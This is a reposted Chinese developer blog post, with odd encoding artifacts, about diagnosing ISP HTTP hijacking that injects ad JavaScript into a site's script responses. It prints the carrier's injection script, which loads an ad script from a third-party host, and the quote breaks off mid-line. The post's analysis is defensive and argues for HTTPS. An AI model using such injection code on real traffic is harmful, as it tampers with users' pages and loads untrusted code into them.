摘要:最近業(yè)務(wù)系統(tǒng)經(jīng)常受到前端報(bào)錯(cuò)郵件發(fā)現(xiàn)大量的為沈陽(yáng)聯(lián)通客戶(hù)初步推斷為運(yùn)營(yíng)商劫持經(jīng)過(guò)現(xiàn)場(chǎng)排查發(fā)現(xiàn)出錯(cuò)畫(huà)面部分加載出錯(cuò)區(qū)別在于錯(cuò)誤的會(huì)先插入一個(gè)廣告為區(qū)別是否劫持查看面板正確并且為我方服務(wù)器確認(rèn)并非為攻擊。
編者按:Fundebug的客戶(hù)通過(guò)分析我們提供的報(bào)警信息,定位了一個(gè)非常棘手的問(wèn)題—ISP劫持http請(qǐng)求。他的分析過(guò)程非常有意思,同時(shí)也提醒我們,應(yīng)該及時(shí)支持HTTPS來(lái)保證站點(diǎn)安全。
原文: ISP劫持http請(qǐng)求
作者: Mr_Qi
本文版權(quán)歸原作者Mr_Qi所有。
最近業(yè)務(wù)系統(tǒng)經(jīng)常受到前端報(bào)錯(cuò)郵件
發(fā)現(xiàn)大量的ip為沈陽(yáng)聯(lián)通客戶(hù)==>初步推斷為運(yùn)營(yíng)商http劫持
經(jīng)過(guò)現(xiàn)場(chǎng)排查發(fā)現(xiàn)出錯(cuò)畫(huà)面部分js加載出錯(cuò)
區(qū)別在于錯(cuò)誤的js會(huì)先插入一個(gè)廣告js
為區(qū)別是否dns劫持查看NetWork面板
IP正確并且為我方服務(wù)器IP確認(rèn)并非為DNS攻擊。
由于大面積出現(xiàn)沈陽(yáng)聯(lián)通問(wèn)題,(故而考慮應(yīng)當(dāng)為運(yùn)營(yíng)商問(wèn)題?應(yīng)該不會(huì)出現(xiàn)大范圍路由器被黑的可能吧)
返回js如下
(function () { try { var o = "m-_-m", D = document; if (!D.getElementById(o)) { var j = "http://yunxiu.f6car.com/kzf6/js/basic/XXX.js", J = j + (~j.indexOf("?") ? "&" : "?") + new Date().getTime(), M = "http://pc.quansj.cn/?cid=08", C = D.currentScript, H = D.getElementsByTagName("head")[0], N = function (s, i) { var I = D.createElement("script"); I.type = "text/JavaScript"; if (i) I.id = i; I.src = s; H.appendChild(I); }; if (self == top) { N(M, o); } if (!C) { C = (function () { var S = D.scripts, l = S.length, i = 0; for (; i < l; ++i) { if (S[i].src === j) { return S[i]; } } })(); } C && ((C.defer || C.async) ? N(J) : D.write("發(fā)現(xiàn)旗下域名
有好幾個(gè)都是廣告劫持網(wǎng)站
貌似和一個(gè)說(shuō)脫口秀的(趙本山徒弟)同名………………該不是同一個(gè)人吧/(ㄒoㄒ)/~~
和沈陽(yáng)聯(lián)通溝通后無(wú)果,拒不承認(rèn)存在劫持。目前正在求助工信部,不知能否有解決方案。
github上已經(jīng)有針對(duì)該地址的adblock了……明顯遼寧聯(lián)通
看了一下js選項(xiàng),正常情況下會(huì)執(zhí)行到
C&&((C.defer||C.async)?N(J):D.write("具體說(shuō)明如下
With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the elements injected via document.write()when all of the following conditions are met:
The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
The document.write() is in a top level document. The intervention does not apply to document.written scripts within iframes as they don"t block the rendering of the main page.
The script in the document.write() is parser-blocking. Scripts with the "async" or "defer" attributes will still execute.
The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on www.example.org).
The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.
Third party snippets sometimes use document.write() to load scripts. Fortunately, most third parties provide asynchronous loading alternatives, which allow third party scripts to load without blocking the display of the rest of the content on the page.
貌似我們不符合條件4 暫時(shí)先考慮一下
代碼format完后大驚失色……整個(gè)加載js的前提是畫(huà)面中沒(méi)有id為m-_-m的節(jié)點(diǎn)。否則不會(huì)進(jìn)行加載js ,即不會(huì)執(zhí)行document.write
如果悲催的是我們畫(huà)面中存在2個(gè)或兩個(gè)以上的js被劫持,那么除了第一個(gè)js其余均不會(huì)加載。
那么查看了一下js請(qǐng)求(帶有queryString),發(fā)現(xiàn)
果然當(dāng)時(shí)客戶(hù)的請(qǐng)求了commonjs,也就是commonjs也被劫持了。此刻畫(huà)面中出現(xiàn)了m-_-m節(jié)點(diǎn)。導(dǎo)致其他被劫持的js不會(huì)加載真實(shí)的js………………
再說(shuō)一下關(guān)于我們首頁(yè)的劫持(跳轉(zhuǎn)?)
明顯也是江蘇寬帶(南京電信)的劫持……
歡迎加入我們Fundebug的全棧BUG監(jiān)控交流群: 622902485。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/83066.html
摘要:而即使用安全的協(xié)議運(yùn)行,主要目的是增強(qiáng)用戶(hù)的安全性和隱私性。因此,欺詐者將無(wú)法查看請(qǐng)求的并對(duì)其進(jìn)行更改。圖片劫持目前,尚未成為上的全球標(biāo)準(zhǔn),大多數(shù)連接仍依賴(lài)基本的。到目前為止,僅和兩家公司涉足了這一領(lǐng)域。如果評(píng)選一個(gè)差評(píng)服務(wù)器榜單,除去育碧高居榜首外,一定也少不了 Nintendo Switch 讓人頭禿的聯(lián)網(wǎng)服務(wù)。盡管任天堂已經(jīng)架設(shè)了香港 CDN 服務(wù)器用于加速,但是更新安裝的速度也沒(méi)有什...
摘要:在一個(gè)節(jié)點(diǎn)中,設(shè)備和本地負(fù)載均衡設(shè)備的連接方式有兩種一種是旁路方式,一種是穿越方式。 文章同步于Github Pines-Cheng/blog 什么是CDN CDN(內(nèi)容分發(fā)網(wǎng)絡(luò))全稱(chēng)是 Content Delivery Network,建立并覆蓋在承載網(wǎng)之上、由分布在不同區(qū)域的邊緣節(jié)點(diǎn)服務(wù)器群組成的分布式網(wǎng)絡(luò),替代傳統(tǒng)以 WEB Server 為中心的數(shù)據(jù)傳輸模式。 作用是將源內(nèi)容發(fā)...
摘要:在一個(gè)節(jié)點(diǎn)中,設(shè)備和本地負(fù)載均衡設(shè)備的連接方式有兩種一種是旁路方式,一種是穿越方式。 文章同步于Github Pines-Cheng/blog 什么是CDN CDN(內(nèi)容分發(fā)網(wǎng)絡(luò))全稱(chēng)是 Content Delivery Network,建立并覆蓋在承載網(wǎng)之上、由分布在不同區(qū)域的邊緣節(jié)點(diǎn)服務(wù)器群組成的分布式網(wǎng)絡(luò),替代傳統(tǒng)以 WEB Server 為中心的數(shù)據(jù)傳輸模式。 作用是將源內(nèi)容發(fā)...
閱讀 2964·2023-04-26 02:04
閱讀 1277·2021-11-04 16:07
閱讀 3699·2021-09-22 15:09
閱讀 678·2019-08-30 15:54
閱讀 1899·2019-08-29 14:11
閱讀 2524·2019-08-26 12:19
閱讀 2255·2019-08-26 12:00
閱讀 752·2019-08-26 10:27